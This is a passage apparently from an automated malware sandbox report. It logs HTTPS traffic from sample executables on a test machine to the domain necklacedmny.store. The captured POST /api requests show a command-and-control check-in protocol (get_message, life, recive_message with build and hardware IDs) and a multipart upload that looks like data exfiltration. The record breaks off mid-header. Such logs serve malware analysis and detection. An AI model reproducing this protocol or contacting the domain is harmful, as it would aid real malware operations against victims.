2024-11-01 04:01:13 UTC	15331	OUT	Data Raw: ce b0 43 d2 3f de d5 7f d7 43 57 f4 bf f0 13 db f3 f6 15 a2 7e 93 e2 4e 1f 73 90 75 5e 68 0b fb 45 54 85 db 8b 50 9e 24 6f 33 70 82 ac 00 19 b6 6e b4 16 e5 ef dd 0b 5b 54 ad f5 ac cb 5b 3f 98 79 1b c6 7b c6 58 49 ec 59 4f d1 c8 a1 99 2e 29 5f 40 39 9b 07 ca 20 7e 9e 92 1d a2 09 03 f7 9d f9 44 14 5c 51 8c e9 7b 60 97 28 de ff ef 2b d4 55 a9 9e 5a da 87 40 e1 b9 e3 36 74 5a 07 49 05 05 b2 54 2f 50 61 38 1c b5 03 2c a0 d6 76 b1 72 69 54 14 8c 8a 47 d1 f0 30 61 10 ae c0 d8 9b 09 62 df 51 01 b1 c5 1d 00 d8 73 39 88 7f 1b 26 18 43 ea 5b 6d df 47 4e 3a e0 de 5e ab d2 df 1d af 9e 23 dc 72 00 8f 3d 47 71 80 28 5e 3f eb b3 ff 16 7c 20 3c 34 b0 83 05 8c 72 c7 b8 e3 84 cf 61 8b 8a 3a 7e ce d7 d5 82 62 d2 ee 68 68 4d 61 f5 ad 11 c2 03 81 60 63 20 54 97 78 6a 58 63 d5 Data Ascii: C?CW~Nsu^hETP$o3pn[T[?y{XIYO.)_@9 ~D\Q{`(+UZ@6tZIT/Pa8,vriTG0abQs9&C[mGN:^#r=Gq(^?\| <4ra:~bhhMa`c TxjXc
2024-11-01 04:01:15 UTC	1026	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:01:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=84s0g7a8ise130jqd4clekln2v; expires=Mon, 24-Feb-2025 21:47:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Pi3%2Bs5pldtW6PjkbCqaDbYE0dHE9IhOnfPHVfgvHAvm8v0sN%2BVntkIb8bUZSXalyFj7OEspLJ%2Fshd0B%2BtAGJu6uSIWcxNzBnQcu6O%2F3PrHaiddeBWaVxg2anGo7%2FcYLlJXQPUR8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fb79ca466b1f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2518&sent=225&recv=623&lost=0&retrans=1&sent_bytes=4242&recv_bytes=588435&delivery_rate=248882&cwnd=251&unsent_bytes=0&cid=f8bb63c728b7543f&ts=2332&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49711	188.114.96.3	443	5440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:01:16 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 04:01:16 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 42 31 43 38 36 34 45 34 43 44 38 31 42 31 34 38 45 36 31 34 31 32 37 42 42 36 31 46 43 44 33 41 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=B1C864E4CD81B148E614127BB61FCD3A
2024-11-01 04:01:16 UTC	1011	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:01:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7rt8q05vntbqg6mjtckkbe7chg; expires=Mon, 24-Feb-2025 21:47:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eTiag%2FoLgAlZnUxw59YJvz4xtQMGTnriZfnvX6O2Myp7QZlMRMRUrA0afRWiJNUvIAuheigfF6zQPjlgW6CBx2U0cDKuJdIwZVpMwRQxV5%2F6iB4X4eiSW2CiU3ldB3iIK2t6XcE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fb8ccdfae51c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1011&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2456318&cwnd=249&unsent_bytes=0&cid=ab9697f08a3b9d79&ts=858&x=0"
2024-11-01 04:01:16 UTC	214	IN	Data Raw: 64 30 0d 0a 62 4c 41 78 57 38 71 57 58 66 38 4e 70 31 31 34 70 79 70 52 2f 4f 6e 39 65 36 78 41 53 55 31 46 4b 68 57 6c 6d 76 49 30 47 67 67 33 79 78 4d 75 36 4b 78 2f 6c 33 6e 54 4c 55 4c 37 42 51 33 54 32 4d 56 4f 67 6e 4a 34 65 47 73 62 4a 4a 61 30 77 77 4a 47 4a 77 50 57 56 77 66 6c 38 6a 69 5a 49 38 49 6c 48 59 55 47 63 35 71 64 33 30 47 63 62 47 73 6f 5a 78 41 6c 32 4c 61 4a 46 6d 38 71 56 70 4a 5a 4c 37 37 6d 5a 36 4d 69 2b 33 4a 4a 6e 78 39 2f 7a 74 6a 49 56 5a 31 78 65 6d 4e 30 48 45 6d 4b 39 35 74 61 66 31 52 44 77 6c 41 31 72 76 6b 77 30 57 6a 66 4f 46 71 4c 43 44 65 49 79 38 64 4c 67 47 49 73 62 33 38 61 61 50 67 3d 0d 0a Data Ascii: d0bLAxW8qWXf8Np114pypR/On9e6xASU1FKhWlmvI0Ggg3yxMu6Kx/l3nTLUL7BQ3T2MVOgnJ4eGsbJJa0wwJGJwPWVwfl8jiZI8IlHYUGc5qd30GcbGsoZxAl2LaJFm8qVpJZL77mZ6Mi+3JJnx9/ztjIVZ1xemN0HEmK95taf1RDwlA1rvkw0WjfOFqLCDeIy8dLgGIsb38aaPg=
2024-11-01 04:01:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	59844	188.114.96.3	443	2696	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:02:18 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 04:02:18 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 04:02:18 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c5pqlhad90fuuhjp39l96n4jdl; expires=Mon, 24-Feb-2025 21:48:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wlQL%2Bd2CgcaPHJwWZ2LuBFc2cq3aP1nMoisXDsXS%2BfIWkyD0m4nTU8B8SNgMoGQcm2Z8DpY5LHHQBY9Y5B8jKvv8qY2o2kLpvc8YqrJimEz%2BGcmwVnnydl4BNj2Zhq5CKDw0AWM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fd10d824e5ee-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1301&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2225980&cwnd=241&unsent_bytes=0&cid=f4a1783bb1b74b6e&ts=560&x=0"
2024-11-01 04:02:18 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 04:02:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	59846	188.114.96.3	443	2696	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:02:19 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 04:02:19 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 04:02:20 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bgkc9e6afhttasl8oqg1rmb9tc; expires=Mon, 24-Feb-2025 21:48:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qXGQCQON5DiZ%2BFOx7KFCdC%2FEX%2BCdGhLQCefJJ6JnRkRJ4sVHGXWxinBQwczdRWQ%2Bp%2FhjeSrIy7rFFBdoYh%2BVyEqO%2BopWJueHEpDe%2FIVpnftHtNTPxJq9DwigZyYq8uaxCIkqLf8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fd19dc344626-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1008&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2647166&cwnd=251&unsent_bytes=0&cid=144f979d5faadb8b&ts=717&x=0"
2024-11-01 04:02:20 UTC	346	IN	Data Raw: 31 35 31 63 0d 0a 46 36 69 55 44 76 45 6e 61 58 35 4a 50 4c 46 6d 4c 54 2b 75 7a 64 35 6a 42 54 57 48 50 34 30 75 45 2b 38 6d 42 38 47 50 2b 44 70 73 69 75 49 73 79 78 4e 46 58 44 70 5a 6b 31 78 5a 54 64 75 6f 38 6b 46 6b 55 61 55 46 36 30 39 2f 6e 45 4d 72 34 2f 6d 56 47 43 33 4f 39 57 4b 43 51 6b 56 63 4c 45 53 54 58 48 5a 45 6a 4b 69 77 51 54 38 58 34 6c 58 76 54 33 2b 4e 52 32 79 75 2f 35 52 5a 66 38 54 7a 5a 70 52 45 44 52 38 6c 55 64 51 44 53 46 37 45 6f 37 63 4f 62 56 69 6c 45 36 39 4c 61 63 30 63 4a 59 7a 71 6a 46 74 61 79 65 64 6c 30 31 70 46 42 57 74 5a 33 30 51 58 48 63 2b 6f 76 41 39 6a 55 65 78 58 35 55 5a 33 6a 45 4a 74 73 65 61 65 55 6e 2f 4b 38 47 65 65 54 52 6b 53 4c 31 62 66 42 55 4a 65 6a 4f 48 38 42 6e 38 58 76 52 32 38 66 6e 4b 63 56 Data Ascii: 151cF6iUDvEnaX5JPLFmLT+uzd5jBTWHP40uE+8mB8GP+DpsiuIsyxNFXDpZk1xZTduo8kFkUaUF609/nEMr4/mVGC3O9WKCQkVcLESTXHZEjKiwQT8X4lXvT3+NR2yu/5RZf8TzZpREDR8lUdQDSF7Eo7cObVilE69Lac0cJYzqjFtayedl01pFBWtZ30QXHc+ovA9jUexX5UZ3jEJtseaeUn/K8GeeTRkSL1bfBUJejOH8Bn8XvR28fnKcV
2024-11-01 04:02:20 UTC	1369	IN	Data Raw: 47 43 32 4b 38 47 4b 53 53 41 73 4f 49 31 58 59 41 56 31 57 78 61 4b 78 41 57 70 64 36 6c 37 76 53 33 75 48 53 32 2b 6e 34 4a 64 65 64 63 71 32 49 74 4e 43 45 31 78 7a 48 76 41 42 58 31 72 41 75 66 34 37 4a 30 69 72 52 4b 39 4c 66 63 30 63 4a 61 76 6f 6d 56 74 2b 78 66 56 6b 6d 46 63 4c 44 69 31 54 31 68 5a 4a 57 4d 4b 6c 76 78 4e 74 57 65 4e 65 35 6b 64 34 69 45 4e 68 34 36 50 61 58 32 32 4b 72 69 79 79 53 41 41 51 49 55 6e 54 52 46 41 54 31 65 2b 37 44 53 63 50 70 56 6e 75 53 48 43 4a 53 6d 75 6e 34 5a 78 57 65 4d 58 77 5a 70 4e 43 41 52 51 6a 58 39 34 50 51 46 33 4a 6f 72 67 48 61 31 62 67 48 61 45 4d 64 70 55 45 50 65 50 44 6e 56 74 6e 69 4d 4e 76 6e 55 73 4d 43 6d 74 42 6e 52 30 50 57 73 44 76 35 45 46 70 55 75 70 50 37 6c 35 30 67 31 5a 70 70 75 75 Data Ascii: GC2K8GKSSAsOI1XYAV1WxaKxAWpd6l7vS3uHS2+n4Jdedcq2ItNCE1xzHvABX1rAuf47J0irRK9Lfc0cJavomVt+xfVkmFcLDi1T1hZJWMKlvxNtWeNe5kd4iENh46PaX22KriyySAAQIUnTRFAT1e+7DScPpVnuSHCJSmun4ZxWeMXwZpNCARQjX94PQF3JorgHa1bgHaEMdpUEPePDnVtniMNvnUsMCmtBnR0PWsDv5EFpUupP7l50g1Zppuu
2024-11-01 04:02:20 UTC	1369	IN	Data Raw: 4d 4e 76 6e 55 73 4d 43 6d 74 42 6e 52 30 50 57 73 44 76 35 45 46 72 58 75 56 57 35 55 68 78 69 6b 6c 67 6f 4f 71 5a 56 58 4c 41 2b 47 75 58 53 51 49 52 4c 56 37 55 41 45 70 50 79 61 61 77 44 53 63 5a 70 56 72 33 44 43 6e 4e 61 32 4b 31 37 72 56 62 5a 4d 4f 32 63 39 31 63 53 78 73 6e 48 6f 74 45 53 46 6a 45 70 4c 6f 4a 5a 30 58 67 55 2b 52 4e 65 34 74 46 61 4b 2f 72 6d 6c 6c 31 7a 50 70 73 6c 45 49 5a 44 69 35 59 77 51 34 50 45 34 79 6f 70 45 45 2f 46 39 4e 4e 2b 46 31 6e 7a 33 46 6d 72 65 4f 64 54 6a 58 56 75 48 58 54 51 67 64 63 63 78 37 59 42 45 4e 61 78 4b 6d 34 43 57 68 59 37 45 2f 75 51 48 2b 66 51 32 57 71 34 35 56 55 66 4d 66 78 59 5a 68 50 42 68 67 73 58 35 4e 4b 44 31 72 55 37 2b 52 42 55 55 66 6f 55 63 46 48 66 59 51 45 65 75 33 30 32 6c 39 35 Data Ascii: MNvnUsMCmtBnR0PWsDv5EFrXuVW5UhxiklgoOqZVXLA+GuXSQIRLV7UAEpPyaawDScZpVr3DCnNa2K17rVbZMO2c91cSxsnHotESFjEpLoJZ0XgU+RNe4tFaK/rmll1zPpslEIZDi5YwQ4PE4yopEE/F9NN+F1nz3FmreOdTjXVuHXTQgdccx7YBENaxKm4CWhY7E/uQH+fQ2Wq45VUfMfxYZhPBhgsX5NKD1rU7+RBUUfoUcFHfYQEeu302l95
2024-11-01 04:02:20 UTC	1369	IN	Data Raw: 74 45 42 52 4d 71 57 74 59 42 53 31 72 49 71 62 4e 42 4b 52 66 69 52 61 38 55 4d 61 4a 6a 55 4f 48 4d 6f 42 68 71 68 4f 38 73 6c 45 6c 4c 52 47 74 53 30 41 68 48 55 73 71 6d 73 41 74 75 58 4f 6c 57 36 30 42 34 69 45 4a 6b 70 75 69 62 58 48 6e 41 38 47 2b 51 53 67 51 54 49 78 36 64 52 45 68 46 6a 50 66 38 4a 48 42 63 36 31 75 76 55 7a 2b 55 42 47 4b 76 72 63 49 59 65 63 50 77 61 70 5a 4a 43 68 6f 6a 57 39 73 41 54 6c 76 4b 72 4c 4d 46 59 6c 62 71 57 65 4e 43 65 34 78 46 61 61 6a 69 6b 56 30 31 68 4c 5a 72 69 77 56 54 58 42 70 64 78 52 4e 66 55 59 79 77 38 68 67 6e 55 4f 6b 64 74 77 78 77 6e 30 35 76 72 65 69 56 58 58 62 46 38 57 47 56 53 51 45 56 49 31 6a 63 44 56 31 65 77 4b 47 37 44 32 74 5a 36 46 66 73 51 54 48 44 42 47 4b 37 72 63 49 59 57 63 33 37 51 Data Ascii: tEBRMqWtYBS1rIqbNBKRfiRa8UMaJjUOHMoBhqhO8slElLRGtS0AhHUsqmsAtuXOlW60B4iEJkpuibXHnA8G+QSgQTIx6dREhFjPf8JHBc61uvUz+UBGKvrcIYecPwapZJChojW9sATlvKrLMFYlbqWeNCe4xFaajikV01hLZriwVTXBpdxRNfUYyw8hgnUOkdtwxwn05vreiVXXbF8WGVSQEVI1jcDV1ewKG7D2tZ6FfsQTHDBGK7rcIYWc37Q
2024-11-01 04:02:20 UTC	959	IN	Data Raw: 4f 4c 6b 7a 42 52 41 45 64 79 37 66 38 57 53 64 68 34 6b 33 2f 54 7a 4f 38 55 6d 61 31 35 70 64 55 4e 64 57 34 64 64 4e 43 42 31 78 7a 48 74 55 4c 52 6c 37 44 72 72 55 4e 61 6c 4c 73 57 4f 35 4b 64 59 64 4f 5a 61 58 72 6d 31 31 2f 79 66 64 6d 6d 6b 49 44 47 79 68 4d 6b 30 6f 50 57 74 54 76 35 45 46 4f 55 50 64 54 2f 77 78 75 77 31 30 6c 70 4f 48 61 41 44 58 4f 2f 47 4f 58 51 67 63 61 4c 6c 6a 65 42 55 42 63 7a 4b 43 34 43 6d 35 52 35 46 44 71 51 58 57 66 54 6d 36 73 34 5a 4e 55 65 49 71 34 4c 4a 52 64 53 30 52 72 62 39 34 4b 51 56 72 61 37 36 4e 50 66 68 66 69 55 61 38 55 4d 59 78 49 61 71 44 69 6d 56 74 30 77 4f 52 2b 6e 30 77 44 47 53 64 56 33 51 4a 64 57 38 4f 6d 76 77 4a 75 55 4f 31 52 35 55 39 32 7a 51 6f 6c 70 50 58 61 41 44 58 70 34 58 79 65 42 52 Data Ascii: OLkzBRAEdy7f8WSdh4k3/TzO8Uma15pdUNdW4ddNCB1xzHtULRl7DrrUNalLsWO5KdYdOZaXrm11/yfdmmkIDGyhMk0oPWtTv5EFOUPdT/wxuw10lpOHaADXO/GOXQgcaLljeBUBczKC4Cm5R5FDqQXWfTm6s4ZNUeIq4LJRdS0Rrb94KQVra76NPfhfiUa8UMYxIaqDimVt0wOR+n0wDGSdV3QJdW8OmvwJuUO1R5U92zQolpPXaADXp4XyeBR
2024-11-01 04:02:20 UTC	1369	IN	Data Raw: 32 66 35 30 0d 0a 58 65 5a 4c 65 35 39 4c 61 71 37 75 6d 6c 31 6e 79 2b 52 6a 6d 45 41 49 47 43 52 52 33 77 78 46 48 59 4c 76 75 78 6b 6e 44 36 56 78 37 46 31 37 7a 32 4e 2f 74 65 71 57 53 58 37 48 2b 69 79 4d 43 78 4a 63 4c 46 4b 54 58 41 39 64 7a 61 4b 75 42 47 5a 64 37 31 44 6e 51 33 53 49 53 32 47 6e 35 70 52 4b 65 38 58 32 61 70 68 45 44 68 38 67 56 4e 30 4e 58 52 32 43 37 37 73 5a 4a 77 2b 6c 64 2f 52 4e 66 49 45 47 53 36 6a 37 6e 52 70 55 78 50 31 72 6e 31 4e 4c 41 32 56 48 6b 77 4e 44 48 5a 54 76 74 51 39 72 56 4f 4a 56 35 30 6c 78 68 6b 52 71 71 65 4f 64 53 6e 2f 47 2f 48 36 63 52 67 59 59 4a 6c 54 57 44 56 31 59 78 61 6e 38 54 79 64 51 2f 52 32 33 44 45 6d 47 53 6c 65 67 39 74 70 48 4f 39 4f 32 61 35 38 46 55 31 77 6f 57 64 41 46 52 56 54 41 6f Data Ascii: 2f50XeZLe59Laq7uml1ny+RjmEAIGCRR3wxFHYLvuxknD6Vx7F17z2N/teqWSX7H+iyMCxJcLFKTXA9dzaKuBGZd71DnQ3SIS2Gn5pRKe8X2aphEDh8gVN0NXR2C77sZJw+ld/RNfIEGS6j7nRpUxP1rn1NLA2VHkwNDHZTvtQ9rVOJV50lxhkRqqeOdSn/G/H6cRgYYJlTWDV1Yxan8TydQ/R23DEmGSleg9tpHO9O2a58FU1woWdAFRVTAo
2024-11-01 04:02:20 UTC	1369	IN	Data Raw: 5a 70 56 72 33 44 43 6e 4e 64 6d 2b 67 34 59 78 56 65 6f 72 70 49 6f 6f 46 44 42 42 72 42 70 4d 57 58 56 33 48 72 37 73 50 64 56 62 74 55 75 56 4d 64 34 5a 4f 5a 71 72 70 6c 46 46 7a 79 2f 74 74 6b 6b 55 4f 48 43 4a 4d 33 6b 51 42 48 63 75 33 2f 46 6b 6e 59 4f 6c 57 33 6b 39 6e 7a 56 73 72 75 71 32 64 56 44 57 53 74 6d 32 42 53 41 4d 59 4b 31 50 56 44 30 35 63 7a 36 2b 38 41 6d 64 53 37 6c 4c 70 53 33 79 48 54 57 79 78 35 5a 35 4b 64 63 62 79 4c 4e 30 46 44 41 52 72 42 70 4d 30 54 46 62 41 72 37 45 55 4a 30 69 72 52 4b 39 4c 66 63 30 63 4a 61 76 6d 6b 56 35 2b 79 66 56 69 6d 45 38 45 45 79 46 59 31 51 78 4b 58 63 43 76 75 51 64 6a 55 2b 74 61 34 55 46 77 6e 30 64 73 34 36 50 61 58 32 32 4b 72 69 79 7a 54 68 30 5a 4c 45 69 52 4d 55 78 54 77 71 69 71 51 58 Data Ascii: ZpVr3DCnNdm+g4YxVeorpIooFDBBrBpMWXV3Hr7sPdVbtUuVMd4ZOZqrplFFzy/ttkkUOHCJM3kQBHcu3/FknYOlW3k9nzVsruq2dVDWStm2BSAMYK1PVD05cz6+8AmdS7lLpS3yHTWyx5Z5KdcbyLN0FDARrBpM0TFbAr7EUJ0irRK9Lfc0cJavmkV5+yfVimE8EEyFY1QxKXcCvuQdjU+ta4UFwn0ds46PaX22KriyzTh0ZLEiRMUxTwqiqQX
2024-11-01 04:02:20 UTC	1369	IN	Data Raw: 72 78 51 78 79 6b 64 33 73 65 75 5a 54 6e 61 4e 79 46 4b 7a 54 67 63 66 4a 31 2f 55 52 41 45 64 77 2b 2f 6b 4f 43 64 55 39 30 2b 67 58 57 65 41 56 47 4c 76 35 59 74 56 65 59 71 34 4c 4e 39 42 41 42 41 75 57 63 4e 4c 58 55 33 48 6f 36 70 4e 59 30 57 6c 45 36 39 64 65 6f 4a 57 61 36 53 69 69 30 35 34 32 76 56 70 6c 41 6b 44 44 53 5a 53 6b 30 6f 50 53 4d 65 6a 75 67 78 79 47 50 52 4c 37 46 70 32 77 55 78 30 72 75 48 61 5a 7a 75 4b 37 69 7a 4c 42 54 34 66 4a 56 44 55 45 6c 34 51 37 4b 53 77 41 6d 74 57 34 68 32 68 44 48 66 4e 48 44 62 74 72 5a 35 4a 4e 5a 4b 6d 50 73 67 51 57 45 74 37 44 4d 78 4b 56 68 33 61 37 2b 52 54 4b 52 66 33 48 62 63 4d 4e 6f 35 57 64 36 58 75 6a 46 73 79 39 4d 68 74 6e 6b 70 48 45 69 42 65 31 42 52 5a 52 6f 43 6e 76 78 74 39 61 64 74 Data Ascii: rxQxykd3seuZTnaNyFKzTgcfJ1/URAEdw+/kOCdU90+gXWeAVGLv5YtVeYq4LN9BABAuWcNLXU3Ho6pNY0WlE69deoJWa6Sii0542vVplAkDDSZSk0oPSMejugxyGPRL7Fp2wUx0ruHaZzuK7izLBT4fJVDUEl4Q7KSwAmtW4h2hDHfNHDbtrZ5JNZKmPsgQWEt7DMxKVh3a7+RTKRf3HbcMNo5Wd6XujFsy9MhtnkpHEiBe1BRZRoCnvxt9adt
2024-11-01 04:02:20 UTC	1369	IN	Data Raw: 37 70 56 59 72 4f 76 76 46 74 6a 79 62 59 69 30 31 31 4c 52 47 74 2f 32 52 52 43 55 73 76 76 38 6b 46 6a 46 37 30 64 79 6b 46 38 69 45 70 69 34 63 79 51 53 48 6a 46 38 53 7a 64 42 51 64 63 63 78 37 53 44 6c 39 51 77 36 6a 77 42 6e 31 51 70 52 4f 76 51 6a 48 56 42 47 53 70 2f 5a 64 58 63 6f 62 77 59 70 30 46 46 46 49 79 48 73 56 45 46 77 36 43 37 36 35 42 50 78 65 69 55 2b 4a 4e 63 6f 4e 48 64 37 48 72 6d 55 35 32 6a 63 68 53 74 6b 67 47 47 53 56 5a 37 54 70 75 56 39 79 69 73 77 59 6c 64 2b 4a 4c 37 48 4a 50 75 6c 56 69 73 36 2b 38 57 32 50 4a 74 69 4c 54 58 55 74 45 61 33 2f 5a 46 45 4a 53 79 2b 32 63 42 6e 46 55 70 52 4f 76 53 44 48 56 42 45 43 75 34 4a 39 57 63 6f 6a 58 5a 6f 4e 49 42 42 74 70 66 74 51 53 54 42 32 43 37 37 42 42 50 78 66 6b 56 2f 39 42 Data Ascii: 7pVYrOvvFtjybYi011LRGt/2RRCUsvv8kFjF70dykF8iEpi4cyQSHjF8SzdBQdccx7SDl9Qw6jwBn1QpROvQjHVBGSp/ZdXcobwYp0FFFIyHsVEFw6C765BPxeiU+JNcoNHd7HrmU52jchStkgGGSVZ7TpuV9yiswYld+JL7HJPulVis6+8W2PJtiLTXUtEa3/ZFEJSy+2cBnFUpROvSDHVBECu4J9WcojXZoNIBBtpftQSTB2C77BBPxfkV/9B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	59847	188.114.96.3	443	2696	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:02:21 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-11-01 04:02:21 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 43 38 36 34 45 34 43 44 38 31 42 31 34 38 45 36 31 34 31 32 37 42 42 36 31 46 43 44 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B1C864E4CD81B148E614127BB61FCD3A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:02:21 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7ko8clg2vqkpe6o0cn0dj6m6ai; expires=Mon, 24-Feb-2025 21:49:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nKko%2B%2By0Ho2O7gLv5tYjB4ZfoiUR1xACBhWByDOLj49nDc05GhvZ54EE7pkvvEOGGgKejNayE2%2F37ZlHhyko2vDhXOpYTreEpBjd0nxgFaSbK2ZTfqIxf85%2Fm0szuBGH8rxE3H8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fd228c2446dd-DFW alt-svc: h3=":443"; ma=86400 server-timing: 